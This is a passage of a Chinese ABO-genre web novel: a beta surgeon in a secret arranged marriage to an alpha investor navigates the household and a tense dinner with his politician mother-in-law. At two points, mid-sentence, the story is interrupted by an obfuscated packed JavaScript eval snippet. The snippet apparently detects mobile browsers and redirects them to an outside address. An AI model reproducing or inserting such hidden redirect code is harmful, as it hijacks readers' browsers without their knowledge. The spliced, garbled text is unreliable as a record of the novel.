《顶A联姻对象他不愿离婚》 1. 此地无银 “手术时长一共3小时18分,您看一下。” 方引摘下带血的外科手套,接过同事手里的文件,眼神快速扫过几个关键点后签下了自己的名字,又递了回去。 一天做了两台手术,方引的身体有些僵直,他迈着缓慢的步子走出手术室去洗手,不经意地抬头看到了镜子里的自己,苍白的面孔上,只有眼下的一圈青黑稍稍惹眼。 水流静谧地裹着方引的手指,腰腿部的酸痛才后知后觉地蔓延出来。 待消毒结束,方引抬手揉了揉鼻梁,重新戴上金丝边眼镜之后微微侧着头再次看向镜子里。 好歹显得没那么死气沉沉了,算是能见人。 等方引回到了自己的办公室里,看到几个医生正围着一起说话,见到方引便抬手打招呼:“方医生,等会下班我们打算一起出去吃烤肉,要不要一起?” 方引摆了摆手:“你们去吧,我还有点事没忙完。” 下半年要评副高,科里的同事都知道方引把最近所有的空闲时间都用来准备这事情上,所以也没有多劝。 “等评上副高又想评正高了,永无止境啊。”老梁端着一杯茶走到方引身边,吹了吹上面的茶叶,惬意地抿了一口,“反正我今年都40了,这辈子也就是个主治了,还是跟老婆孩子在一块的日子开心啊。” 方引翻看着桌上的病历,嘴角露出一丝浅笑,头也不抬道:“你就炫耀吧。” 老梁名叫梁轩,估计是整个科室里幸福感最高的人了,除了钓鱼这个爱好之外,就只喜欢陪着老婆孩子到处吃到处玩,从脸型到身材都透露着满足的富态。 “说真的啊方引,下周几家医院要搞一次联谊,alpha、beta和omega,男男女女应有尽有。你抽空去看看呗。等找到一个合适的对象,就不用一门心思都是工作了,你也30了吧?” 方引手上的动作轻轻地顿了一下,然后很快就恢复了正常。他将自己演成一个被工作压垮的单身中年beta,无奈道:“到时候看有没有时间吧,就算去了人家估计也看不上我。” 老梁看着方引这张连续几年都被病人惦记着的脸,摇摇头道:“你要是个alpha或者omega,估计早被人拿下了。” 方引笑了笑,没接话。 天色近晚,外面下起了雨,又正是晚高峰,方引在医院后面的小路上等了二十分钟出租车才到。他坐在车后闭上了眼睛,车子顺利汇入到首都晚高峰的车流当中。 车窗很快起了薄雾,不仅是路灯和车灯,就连车水马龙的嘈杂声也变得影影绰绰起来。 车子停在一家被改成餐厅的老式公馆门前,方引嘱咐了司机几句就下车走了进去,不消十分钟,提了一个木质礼盒又上了车。 方引小心翼翼地把盒子抱在膝上放稳,才吩咐司机开往另一个地点。 “领杉资本首席执行官谢积玉结束了其为期三个月的访外之旅,将于今日归国......” 本来昏昏欲睡的方引的神经像是被那个名字轻轻撩了一下,猛地清醒了一下,尔后他才后知后觉地意识到,在这个小空间里,只有自己和一位一面之缘的司机师傅,而且对方正在专心开车,没工夫注意到他刚才的肢体语言有什么不自然的地方。 方引与谢积玉已经结婚三年多,只是除了最亲近的人,外界没人知道这段婚姻关系的存在,这也是一开始领证之前,谢积玉就跟方引约定好的条件。 让谢积玉这位手能通天的顶级alpha跟方引这样一个非婚生beta结婚,连方引自己都觉得,实在是太不相衬,传出去估计会成为整个联邦的笑柄,所以谢积玉这样要求也无可厚非。 而这点要求对谢方两家的家长来说根本不痛不痒,钱权交换,双方都拼命攫取自己想要的东西。外界只能看到一些看上去毫无关联的个案,如某些项目落地了,某些人物当选了,某些权力易主了,而桌下把这些灰色部分交织在一起的千丝万缕,则细微难察。 于是就这样一晃三年多,新闻媒体纵使有猎犬一般的嗅觉也没发现其中一丝关窍。就算有人发现了什么猫腻,也绝对想不到谢方两家竟然是以这种方式捆绑在一起。 车子在隧道中堵住了,司机大概也是有点烦躁,把电台广播从新闻换成了音乐。 方引看着一片红的车尾灯,心里盘桓着刚才的名字,忽然觉得有些恍惚,也是当下才真的有实感,三个月了,谢积玉真的要回来了。 谢积玉虽然在国外考察了几个月,但作为联邦著名投资集团的掌权人,一举一动都牵动着媒体的视线。本次出国行程涉及金融、新能源、人工智能等多个领域的项目,签署了不少上了晚间新闻的合同,一片高歌猛进的景象。 再加上前段时间联邦政府高层换届,谢积玉的母亲成功当选,权力位次再次上升。所以今晚还有一场特别为谢积玉而设立的晚宴,届时去的不仅是商界人士,应该还有许多政界名流到场。 不知道自己托人买到的这瓶赤霞珠,有没有机会入了谢积玉的眼。 方引修长白皙的手指搭在木质盒子上,食指无意识地点了点。 他在想把这份送礼物送给谢积玉的时候,如何显得自然一些。 不能曲意逢迎,不能调风弄月,他们之间这层薄薄的关系才能长久。 或许自己应该先自然地把这瓶酒让谢家的管家收好放在酒窖的小角落里,等待不知道哪一天的夜晚,谢积玉工作疲惫的时候,自己以关心的名义,推荐他小酌一杯好眠。 诚心实意,率真有度。 车停在了距谢宅两公里外的主路边,方引抱着盒子步行前往。 郊外的别墅区非常安静,只有雨落在树叶上的沙沙声。 今天谢积玉万里奔波回国,一路上不知道休息得怎么样,晚上还有一个推杯换盏的晚宴,今天估计见不到他面了。 只不过方引一想到谢积玉已经回来了,现在正跟他在呼吸一个城市的空气,便连走路的脚步稍稍轻快了一些。 可等方引打开一楼客厅正门的时候,所有的预先设想都作废了。 他透过摆放在门口的繁茂的天堂鸟叶片,看到大部分时间都空寂无人的沙发上正坐着三四个西装革履的人,和许久未见的谢积玉。 但是现在让他立刻退出去已经来不及了,他们应该听到了开门声,正扭头望向这边。 一边上下扫视着方引,一边面面相觑。 方引知道自己此刻的形象肯定不算好:面色应该是疲倦的,头发被细雨打湿,双手抱着一个木质盒子——一个倦怠狼狈的陌生男性beta直接推门而入。 而谢积玉此刻正侧面对着他,靠在沙发背上看一份文件,像是什么动静都没有察觉。 几个月不见,轮廓消瘦了一点下去,但气质上更显得凌厉了些。他对着文件不知道在想什么,只是眉眼之间似乎带着一些难以察觉的隐怒。 感情上想爆发,理智上又明确地压制住了,告诉他不可以这样做。 让方引想起,那些由自己陪伴易感期的alpha谢积玉。 一个只能起到形式上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373251|168217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作用的beta,在那样关键的时候更让人恨得牙痒痒。 偌大的客厅一时寂静。 方引就那么站在原地,进也不是,退也不是。 明明谢积玉从来不带工作上的人回家的,这让方引一时没了主意。 在外面遇到怎么都能解释称偶遇,可他直接推门而入,就很难把身份和动机解释成一个只有几面之缘的泛泛之交忽然上门送礼来了。 一阵哒哒声从楼梯处传了下来,不消两三秒钟,一条边牧便越过沙发背,扑到了谢积玉的怀里,然后热情地蹭着谢积玉的手求摸。 就在这个瞬间,刚才长达十几秒的尴尬期忽然就被打破了,有人便顺理成章地接住了。 站起来的是个发丝已经泛白的长辈模样的男人,他定睛看了一会,尔后才恍然大悟道:“我记得你是方家的?怪不得看着有些眼熟,人老了,半天才认出来。” 方引的心头微微一跳。 他毕业后就在联邦首都医科大学的附属医院工作,一路走到今天主治医师的位置,在同僚和病人口中有确实一点点知名度......但对方却不是以他医生的身份认出他来的。 方家的元晖制药集团虽然著名,不少人也知道方家有他这么一个人。只是方引是非婚生子,在方家也没有他的位置,说到底登不得顶层权贵的大雅之堂,所以很少有外人能将他本人和方家的方大儿子联想到一起去。 就连他在医院工作几年,除了几个高层领导,也没人知道他的身份。 方引脑中快速闪过许多人,却也没有认出来对方,回话就更显被动。 谢积玉正用手揉着那边牧的脑袋,眉宇之间也没有刚才那样紧绷了,但是他也没有开口为这尴尬的场面圆一句什么。 不过他也不需要圆,从小到大,只有别人注意谢积玉的态度行事的份儿。 今天如果说漏了嘴,那也是方引自己的责任。 于是方引只能先从容地接下,回了句进可攻退可守的话:“是的,我是方引,您好。” 方引不知道对方会怎么揣测自己跟谢积玉的关系,于是心里盘算着先主动道个歉示意自己今天的唐突,把客人的样子装到位,然后放下盒子就走。 此时对方又开口道:“几个月前我女儿从马上摔下伤了腿,还是你亲手帮她做的手术,现在恢复得不错,我还没机会当面感谢你。” 方引快速想起那个才16岁的马术运动员女孩,手术住院都是保姆陪着的,好像是姓梁来着。被病人家属感谢是一件让方引有满足感的事情,只是眼下这个情况并不适合寒暄起来,毕竟这并不是他的主场。 谢积玉和其他人似乎都在安静地......等待着。 此刻这位爱女心切的梁先生好像才察觉到了眼下这奇怪的气氛,他看了谢积玉一眼,又转头看向方引,眉宇之间闪过一丝“自己刚才为什么要开口”的后悔感。 谢积玉依旧没有看他,可方引总觉得他的神态冷了下来。 此时管家适时迈着小步急匆匆地走了过来,满脸歉意接过方引手里的盒子道:“不好意思方医生,应该去门口接您的。帮先生拟的运动方案已经好了,您随我去看一下吧。” 方引知道那份专为谢积玉拟的方案,那个退役的联邦前田径冠军在运动方面比自己懂的更全面,其实轮不到自己检视。 这个台阶让方引耳尖发烫,简直此地无银三百两。 于是他朝着对方点了一下头:“令爱有任何恢复上的问题可以随时联系我,我先过去,打扰各位了。” 2. 雨夜兰 “酒放在A区的右下角了。”管家从酒窖上来后道。 方引站在楼梯口,手扶着窗台,像是被忽然惊醒,他转头回道:“谢谢,我知道了。” 管家看了他一会,有些迟疑道:“您,要不要先稍微休息会?” 方引不知道自己此刻的眼神有点空,他点点头便向二楼走去,刚出去两步管家就在后面接着问:“晚餐需要给您送到房间吗?” 方引脚步停住了。 楼下的交谈不知道持续到什么时候,如果还留人用餐,那自己确实不适合在现场。 其实从刚才起方引的胃里就一直堵得慌,完全没有食欲,便摆了摆手,头也不回道:“我不饿,不用送了。” 方引回到自己的房间,反锁上门,又拉好了窗帘才去淋浴间冲澡。 昏黄的灯光和雾蒙蒙的水汽让方引的疲劳了多日的神思慢慢地放松下来,不再那么戒备。 谢家这栋大宅子,生活过好几代人,就算是佣人,也都是做了很多年了。 方引在方家名义上是谢积玉的法定伴侣,但是佣人们也明白他们之间的实际关系,所以他们对方引的态度就像对待一个客人,礼貌且疏离。 不过方引并不在乎,他觉得能这样已经很好了。 方引一直睡到晚上九点多才醒。 路灯的光透过树枝,影影绰绰地映到了天花板上。 方引定了定神,反应了几秒才明白梦里的声音不是错觉,此刻确实有什么东西在摩擦着门板。 他打开床头灯,趿着鞋去小心翼翼地打了开门。 门外,边牧的爪子还举着,保持着挠门的动作。它看见人引之后便放下了爪子,端端正正地坐着,一双黑亮的眼睛正看着方引,蓬松的尾巴在身后一扫一扫的。 边牧的名字是Luca,来谢家的时间比方引都久得多,在家里的生态位应该是仅次于它的主人谢积玉。而且它聪明得很,有时候方引想摸摸它,都要先拿出零食或者玩具做交换,今天来主动挠他的房门倒是头一回。 方引原地蹲下,跟Luca对视了一会才轻声道:“你想干什么呀?” Luca歪了歪头,像是真懂似的,然后抬起了爪子。 方引以为这边牧转性,忽然想跟他一起玩了,于是便伸出手去打算握握它的前爪。 可还没等碰到,这狗火速撤回了爪子,头也不回地“哒哒哒”往楼下跑没影了。 方引无奈地站了起来。 晚上的雨比傍晚大了一些,生嫩的梧桐枝叶在夜雨中来回轻晃,透过窗棂,像是在走廊长长的白墙上拓上了水墨剪影画。 方引趿着拖鞋,穿过走廊,在尽头的楼梯口站定,望着对面走廊那个半开门缝中透出一片长条的立体暖色光,像一方玉石镇纸。 那是谢积玉的主卧。 不知道是不是方引的错觉,空气中淡去了许久的、带着alpha信息素的兰花香,好像又若有若无地拂过鼻尖。 方引双臂撑在楼梯扶手上,深呼吸了几下,目光都松软了下来。 “你是迷路了吗?” 方引被吓得猛地抖了一下,这是谢积玉的声音,不过声音的来源却在他的斜下方。 谢积玉正站在楼下的小厅里,脚边放着一盆兰花,此刻正面无表情地看着方引,像是某种审视。 alpha的衬衫松开了两颗扣子,袖子也挽了上去,微微湿的衬衫让精悍的肌肉线条更加明显。水珠顺着眉骨的走势落了下来,眉眼像是染了一片墨色,那副俊美相貌更有攻击性。 以至于让方引觉得自己是个犯人,且正好被正主抓到了现行。 他想起了傍晚那短暂的尴尬碰面。 方引从一开始就知道,联姻是双方父母的利益需求,却跟谢积玉本人的利益需求相悖,所以他一直避免跟谢积玉工作上的人有来往。 不过谢积玉以前很少带工作上的人回家,所以做到这点对方引来说并不难。 但今天谢积玉不仅仅有工作伙伴在场,巧合的是其中一个人竟然认出了自己。 这个认知让方引颇为焦虑,他担心谢积玉会不会怀疑什么。 谢积玉的眼神并没有停留多久就移开了,他将那盆兰花放在花架上,然后又折返从小门出去了。 那是谢家花房的位置。 方引顺着楼梯下到厅里,看着谢积玉正在从花房外一盆一盆地往里搬花。 虽然谢家有专门的园艺师,但方引知道谢积玉一直挺宝贝这些兰花,很多时候都喜欢亲自打理。今晚的春雨细密,微风阵阵,确实很适合把兰花搬出来补水。 只是都这么晚了还亲自又把花搬回来,未免有些辛苦。 等谢积玉再次抬头的时候似乎发现方引还在那里站着,眉毛微微一沉。 方引发现了他的微表情,知道这是不高兴的讯号,便抢先硬着头皮开口:“需要帮忙吗?” 谢积玉看了他一会,却点了点头:“需要。” 方引简直怀疑自己听错了,他走了过去,手指不自觉地捏着睡衣的裤缝。 谢积玉站在门口,人却没有动。 两个人就这样面对面站着,水汽带着兰花的香气慢慢地充盈了这方空间。 如果是外人来看,这必定是一幕看上去颇具浪漫主义色彩的对视,柔和的灯光像是将两人笼罩在一方温润的琥珀中,值得长久定格。 站在角落的Luca湿润的鼻子动了动,像是感觉到了什么。 它转身去叼来了一个罐头跑到了谢积玉身边,用爪子碰了碰谢主人的腿,把罐头放在地上,抬头似乎是满怀期待地看着主人,然后“汪”了一声。 “晚上吃了那么多现在还想吃?”谢积玉半蹲下去摸了摸它的头。 Luca还以为这是主人同意了的表现,赶紧又“汪”了一声,尾巴摇得更欢,眼睛紧紧地盯着那个被主人拿起来的罐头。 “三个月没见都胖了吧。”谢积玉把那个罐头拿在手里颠了两下,无视Luca期待的眼神,无情地把罐头高高地放在了花架顶上,“下周带你去体检。” 小狗尾巴不摇了,耳朵也耷拉了下去,喉咙里发出一声声呜咽,它整个脑袋都随着身子趴在地上,委屈地看着谢积玉,眼下露出的那一圈眼白让方引都不忍心了。 但在谢积玉严厉的眼神中,Luca只能耷拉着尾巴回了它自己的小屋。 谢积玉在小厅另一侧的沙发上坐下,喝了一口茶才开口道:“关于跨海隧道项目的新闻,你知道了吧。” 方引在距离谢积玉两个身位的地方坐下,点了点头:“嗯,在新闻里看到了。” 谢积玉这次访外之旅中,最吸引人注意的莫过于谈成了那条横跨海洋、链接两个大陆版块之间的海底隧道项目的意向约。 联邦和加斯兰王国隔海相望,国家经济军事实力不相上下,文化又一脉同源,所以百年以来比起合作,更多的是竞争。再往前追溯,祖辈们大大小小的仗也打过不少。 海底隧道的项目已经不是新鲜事,几十年前就有人提出要修,奈何总是会出现各种各样的政治、经济问题横亘在中间,协议怎么都签不成,整个项目沦为空谈。 这次在谢家的领杉集团力推下,项目进度已经达到了史无前例的落地程度,自然引得全国甚至全世界都知道了这个消息,一时间广为热议。 “今天下午你看到的那几位,都是联邦各部的首席事务官。”谢积玉拿起一方手绢,仔细地擦去墨绿色的兰花叶上混着尘土的水痕,看似漫不经心,“是总统本人的意思。” 总统要争取任期内把项目落地,那是一笔可以载入史册的政治资本。所以正因为这个由头,联邦无数的资本都盯上了这块肉,或许方家也不例外。 方引看着谢积玉,正等待他的下文,不过他自己也猜到了对方的意思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373252|168217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢积玉忽然跟他聊起这件事,还提到了总统,无非是因为傍晚那个小插曲。 方引把身子往沙发背上靠了靠,不断回想着自己傍晚的时候、时隔三个月与谢积玉见的第一面,真的看起来是刻意为之吗? 方引想说自己今天并不知道谢积玉带人回家谈项目,更不会去缠着谢积玉分一杯羹给方家。今天准点下班回家,也仅仅是想把访外归来的礼物第一时间送给谢积玉。 但在谢积玉眼里,方引跟方家是一体的,这个客观事实不会变。 父母辈为了自己利益已经强定下了联姻,但无论如何也不能把攫取利益的触手再通过自己缠到谢积玉的身上,这是方引一开始就下定的决心。 或许正是因为方引从来没有为方家的利益让谢积玉为难过,谢积玉大概也明白,故现在对他的态度大部分时间还算和缓。 方引不可以辜负这样的信任。 只是这样巧合的事情,解释的话在方引的舌尖滚了又滚,却感觉越描越黑。 结婚三年以来,方引大概也清楚谢积玉的脾性。 其实谢积玉根本不在乎方引是有意的还是无意的,他只要一个结果。 方引的声音有些沉:“这样的项目,肯定是联邦最高级别的,不是一般外人能插手的。” 话里的重音落在了“外人”二字上,点到即止。 谢积玉微微侧过身来,定定地看着方引,方引知道,那是一种审视。随后谢积玉像是在漫不经心地闲聊:“你今天回来得倒是准时啊。” 方引几乎可以确定,这就是一种试探。 他在医院附近的小区有一套两居室的房子,一来是当时刚结婚的时候谢积玉很明显很烦方引的存在,他不能天天回谢家惹谢积玉心烦。二来方引的工作确实忙,加班太晚的时候不方便再回来打扰这座大宅里的人,于是就在那边歇息。 算起来,每个月方引至多只有一半的时间回谢家住。 方引没有提起他特地调班回来就是为了那瓶赤霞珠,不想被谢积玉误会成是一种求人办事的讨好,于是随口编了个由头:“今天没加班,正好明天有一份要用的材料要带去院里。” 谢积玉眉眼沉了下来,随后面无表情地站起身来继续去看他的兰花,一句话也没说。 雨停了,夜风里传来无数新生植物的芳香分子,像是带着丝丝甜意。 方引站了起来,垂着头,额发乖顺,浓黑的睫毛投下了一片阴影,告别道:“晚安,谢积玉。” 背对着方引的谢积玉皱了皱眉,终是什么都没说。 等谢积玉回到自己的卧室里的时候,管家正从个药箱里拿东西放在了茶几上。 待看清之后,谢积玉轻咳了一声。 管家转过头来,看到谢积玉之后微微欠身:“方先生毕竟是beta,前期肯定是感知不到的。” 语气礼貌妥帖,挑不出任何错。 “您老的话怎么越变越多了。”谢积玉淡淡道。 “是吗?”管家丝毫不为谢积玉话里的不满所动,拿出那管alpha抑制剂,“需要我为您注射吗?” “谢谢,不用。”谢积玉坐在单人椅上,修长的双腿交叠,打开笔记本电脑继续看跨海隧道的项目文件。 管家放下抑制剂,又检查了淋浴间,确认了一切没问题之后便准备离开了。 “对了,”谢积玉的声音适时地拦住了管家,“他今晚带回来的那东西是什么?” “一瓶赤霞珠,已经放在酒窖了。” “哼。”谢积玉不冷不热地发出了一个鼻音。 “是92年的。” 谢积玉的手停住了,他抬起头来看着管家道:“下次可以一次性说完。” 管家静了一会,道:“议长周末要回来吃饭,我准备些清心下火的菜,您看可以吗?” “随意,这火不是几道菜就能灭掉的。” 3. 池鱼之祸 连绵多日的春雨终于在周五下午放晴了。 方引先是打车去4S店,取他半个月前被追尾才修好的车,然后开车回谢家。 方引在跟谢积玉结婚之前出过车祸,大约是一朝被蛇咬,他对开车这事情便更加没兴趣。 只是谢家的大宅建在近郊的山腰上,虽然远离喧嚣,但没有车真的不方便来回。再加上隐私需求,方引选来选去,还是挑了一款基础的代步车。 路面薄薄的积水倒映着碧绿的树色,灿烂的夕阳从蓬勃的树枝间漏出,春风裹着不知名的花香飘进车里,让这方车厢短暂地拥有了一会春天。 春日傍晚的天气,这段路无疑令人享受。 可在最后一个转弯过去之后,却看见大宅门口的主干道上停着好几辆黑色的车,还有两三位穿制服的人一直在车边,一副严阵以待的模样。 见到方引的车,一个戴着墨镜的人走上前来拦住他,声音机械得让方引想起谢积玉卧室里的那个会报时的老式座钟:“是方引吗?议长在前面的车里等你。” 议长,便是谢积玉的母亲谢惊鸿了。 半个月之前联邦高层人事变动,在国内外都产生了不小的震动。不仅仅是因为换届兹事体大,而是上一届走之前留下的是一个烂摊子,就业、税收等各方面民众都有着强烈的不满,引发了好几天的示威游行。 谢惊鸿女士额头被愤怒的民众用石头砸出血的照片在头版头条上挂了足足一个星期才渐渐平息下来,但还没到彻底放松的时候,怪不得出行要带这么多特勤人员。 方引一眼就看到了那辆谢惊鸿开了十几年的低调黑车。 当时她那张受伤的照片的背景便是这辆车,已经被媒体把车的新旧、价格和磕磕碰碰都扒了出来,这位新任议长低调得无可指摘。 方引打开车门的时候谢惊鸿正在打电话,她看了一眼方引,抬手示意他坐在边上,又低声说了两句类似于“知道了”的话,便挂掉了电话。 谢惊鸿穿着一身藏蓝色的西装,头发被一根发簪精致地挽在脑后,淡妆红唇,额头上还贴着一片白色的无菌敷贴。 “好久不见谢女士,还没正式祝贺您当选。” “你的工作也忙,没关系。”谢惊鸿的声音有些冷,这是一个公式化的回答,就像是机械事先设定好的指令,却莫名让方引感到一阵压力。 不得不说这母子俩还真是像,无论是性格还是长相,天然带着莫名的压迫感,这一点方引从小就学会了观察,那是一种掌权者对局势天生就可以完美掌控的自信。 自信到对该有的情绪展现也变得厌倦。 “您的伤口怎么样了,还需要去医院复查吗?” 正如方引所料,谢惊鸿懒得再做无聊的寒暄,直接表明来意:“谢积玉没带着你一起出国,你知道他在外这段时间易感期是怎么度过的吗?” 方引倒是没想到谢惊鸿的话如此直接,但他判断这句话应该是反问句,毕竟以谢惊鸿的能力,没有什么事是能瞒得了她的吧。 只是方引只是个beta,以前遇到谢积玉的易感期,也只能做一些形式上的无用功罢了。有时候谢积玉太难受,方引也会给自己注射临时的omega信息素剂,但那东西毕竟是假的,只能维持三四个小时罢了。 不过自己是beta这件事谢惊鸿又不是才知道,方引自觉没什么好指摘的。 更何况,双方都知道,谢积玉根本不喜欢方引,一开始甚至是讨厌的,只是现在时间久了或许没那么讨厌了,毕竟这种讨厌的情绪也是需要付出精力的。 怎么说都没有理由带自己在身边。 谢惊鸿今天找他肯定不是为了表达这些废话的,只是方引暂时还想不出来是什么目的,于是他选择了一个不出错的回答:“出行人多眼杂,处处都被盯着,实在是不方便。” 毕竟他们的婚姻关系对大众和媒体来说还是保密状态,这是个滴水不漏的回答。 谢惊鸿从手提包里拿出一个手掌大小的白盒子,顶上嵌着一块液晶屏,显眼地显示着“5℃”。 “这是专门给你的,beta注射之后可以维持两天以上,足够应付alpha的易感期。”谢惊鸿说着,便把那盒子递给方引,“看他会不会更喜欢一点。” 方引打开盒子,里面躺着一管针剂。 他出于医生的本能去看针剂上的信息,可只在侧面有一行小小的OMEGA-V12编码,此外便是什么有效信息都没有了。这也是方引第一次看到能维持这样久的omega针剂,大概是某种还没面世或者根本就不对外的产品。 方引回想起每次自己注射omega针剂的时候,躁动的alpha信息素是被抚平了一些,但谢积玉本人却会因为厌恶这种流水线产品的虚假信息素,进而延伸出一种新的不快,动作也会更粗暴一些。 或许这款没见过新产品用了之后闻上去没有那么假? 方引攥紧那盒针剂,心跳得快了一些。 谢惊鸿推开车门,跟看上去为首的特勤人员耳语了几句便独自进入了宅中。 晚餐的时候,谢惊鸿坐在主位,谢积玉和方引坐在她的右手边坐着。 桌上的菜色多以春天时令菜为主,都是可遇不可求的清淡鲜美,只是风雨欲来的寂静实在是让方引难以忽略。 谢惊鸿忙于她的政治事业,谢积玉则是发展谢家的投资公司,方引虽然已经住在谢家有三年多了,但除了逢年过节这些必须要在一起的场合,还真是极少这样坐在一起吃饭。 谢家人在情感上似乎有种一脉相承的冷淡,这或许也是上流世家的一种通病,亲情和爱情在利益面前根本不值一提,说话的时候公事公办得如同一对商业伙伴。 谢积玉小时候曾因为意外被身边人绑架进而流落在外大半年的时间,方引原本以为失而复得应该会让亲子关系更紧密,但在谢家母子身上却并没有应验。 “听说你回来那天,就找了财政部、劳工部、能源部还有外交部的几位事务官,来家里开会啊?”谢惊鸿放下筷子,轻啜着红茶,看似漫不经心道。 谢积玉的嗓音没有什么起伏,像是在面对一个公事公办的领导回话:“总统先生很重视海底隧道项目,也是对您的认可,毕竟海底隧道项目的线也是您亲手牵的。” 谢惊鸿靠在椅背上,嘴角勾起一个优雅的弧度,像是早就料到了这个回答:“所以你就可以爽约我为你办的晚宴,把一群政要名流和记者放在那边不管了?” 空气中火药味渐浓,管家识趣地离开了餐厅。 方引也有些如坐针毡,嘴里的笋子也吃不出什么味道来了。 “有时间推杯换盏、虚与委蛇,不如多做点实事。”谢积玉定定地看着谢惊鸿,嗓音低沉平缓,似笑非笑,“您额头上那道小口子都大半个月了,也该好了吧?” 谢惊鸿手里的茶杯被用力地放在桌上,溅出来的茶水洇湿了桌布,可声音却还是一贯的优雅:“你的关心未免也太晚了。” “那应该已经痊愈了吧。只是提醒您,一道小伤口大半个多月还不好,免得被媒体做文章,说您有卖惨炒作的嫌疑。” 母子俩对视了几秒,谢惊鸿忽然抬起手,将额头上那块白色敷贴揭了下来。 露出来的皮肤光洁如新,那伤口已然早就愈合,而且 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但他此时确实希望自己站不住,这样就不用处在这对母子剑拔弩张的气氛当中了。 其实在其他大家族中,这种亲人之间的不对付实属常见,只是基本都是围绕着利益展开的,但能做到谢家母子这样卯着劲用权力互相倾轧,是顶层专属。 这段时间里,谢积玉拿下了海底隧道的项目名声大噪,谢惊鸿就任联邦参议院院长,权力关系两次颠倒,今天这场对峙是免不了的。 谢惊鸿冷笑一声,漂亮的凤眸里有隐隐的怒气:“你在暗示什么?” “您对这个项目有没有别的心思,您心里清楚。”谢积玉丝毫不惧地望着他的母亲。 “所以你就要越过我,直接去跟外人谈条件?” “您当初逼着我妥协的时候,也把我当成你亲儿子了?” 谢积玉松开方引的手腕,望向母亲的表情带着一些冷冷的戏谑。 谢惊鸿一直观察着谢积玉的表情和神态,然后她忽然笑了出来,像是又得到了一个筹码一样自信了起来:“所以,你到现在依旧对我对你的婚姻安排感到愤怒吗?” 方引垂着眼,好像面前那一碟百合芦笋是他此刻最关注的事物。 他喉咙有些干涩,开口的声音都显得忽远忽近:“我先去拿点水果。” 接着,方引离开了餐桌,右转到花厅的后门处,向着回廊尽头的冷库走去。 谢积玉的声音在传到方引耳中之前便在风里影影绰绰地散开了,变成了一些无意义的音符。 自欺欺人也好,他不想听到谢积玉的回答。 刚结婚那时候,谢积玉对方引的态度是一种厌烦的冷漠,方引当时想讨好他简直难于登天。 当时最严重的一次大约是谢积玉连方引的人都不想见,只是接了个电话便在下雪的冬日把方引从车上赶了下来。 大概谢积玉永远也不会知道,那样一次无数联姻夫妻之间出现的、看似普普通通的小矛盾,带来了一个什么样的后果。 后来大概是时间长了,毕竟生活在一个屋檐下,谢积玉连强烈的情绪都不想再给他,大约只把方引当成一个关系特殊一些的房客,或者说一个方家的合作者,遇到事情基本可以心平气和地说。 方引曾一度沉溺于这种表面,其实他知道,什么都没有变。 漂亮的锦缎被划开,下面还是那些惹人厌的虱子。 冷库里放了许多新鲜果蔬,方引苍白的指尖停留在那些红到发黑的车厘子上,再一次想起了那个雪天,喉咙里似乎都泛出了血腥气。 4. 易感期 方引走出医院的时候,天边还剩了一丝紫红色的云彩。 连续熬了几个大夜之后,他像是忽然被从一个24小时运转不停的喧嚣机械中暂时解放了出来,连路边的白蔷薇、川流不息的马路和街边嘈杂的商店都显得如此亲切可爱。 今天只吃了半份外卖,可是他此刻一点都不觉得饿,大概是此刻身体对于睡眠的需求排在第一顺位吧,于是决定今晚还是回了自己买在医院附近的房子里。 这个两居室是方引刚跟谢积玉结婚的时候买的,虽然地方不大,但方引一个人住着也够了。 屋里的陈设也很简单,客厅里只有最基本的沙发、茶几和餐桌,两个朝南的房间大一点的做了书房,小一点的就是方引自己的卧室了。 困意难挡,方引强撑着去冲了个澡后便倒在床上蒙头大睡。 可这一觉却睡得不平稳。 床铺仿佛变成了吃人的沼泽,方引则在其中越陷越深,身体被缓缓地被挤压着,直到蜷缩到一个再也无法动弹的极限当中。 方引才发现自己被困在一个狭小的木箱子里,任凭他怎么使劲都不能挣脱出去。 就在这无解的时刻,一阵敲击声有规律地响起,而且那声音还在渐渐靠近。尔后木箱子被打开了,就在方引以为自己马上就要被救出去的时候,湿热腥臭的水带着泥沙直接倒灌进了木箱子,将方引的口鼻死死地捂住。 在窒息的前一刻,方引醒了过来,呼吸都在颤动。 梦里那种窒息的感觉慢慢被平复下来,方引尝试眨了眨眼睛才发现睫毛上都是湿漉漉的。 他摸索着戴上眼镜,床头钟显示已经是22点28分了。 方引静了一会,稳住心神之后,胃部开始有一些饥饿的隐痛。 他赤着脚下床,走到厨房的冰箱前打开看了看里面的食材,就在他心里盘算着要做点什么宵夜的时候,门口却忽然传来了拍门的声音。 方引呼吸一窒。 他轻轻关上冰箱门,顺手拿起一把放在流理台上的水果刀,然后放慢脚步靠近了门口。 “我知道你在家,开门开门开门......”一个醉醺醺的声音隔着门传了过来。 方引透过猫眼去看,果然,外面正贴着墙、垂着头站着的正是方澄。 他把水果刀放回厨房,将门打开一条缝,冷冷地盯着双颊绯红的人道:“大晚上发什么疯?” 方澄笑嘻嘻地向前一步靠在门边:“来看看你啊,不行吗?” 说着,一下秒便用力推开方引挡在门框上的手,径直走进了这方空间。 “这么一点大的地方你都住得下去?好像加起来都没有我的衣帽间大哎。”方澄在屋里转了一圈出来顺势躺在沙发上,玩味地看着方引,“怎么?被你老公赶出家门啦?” omega柠檬味的信息素越来越重,方引看着这个小他5岁的同父异母的弟弟,漆黑的眸子里像是淬了冰,神色紧绷。 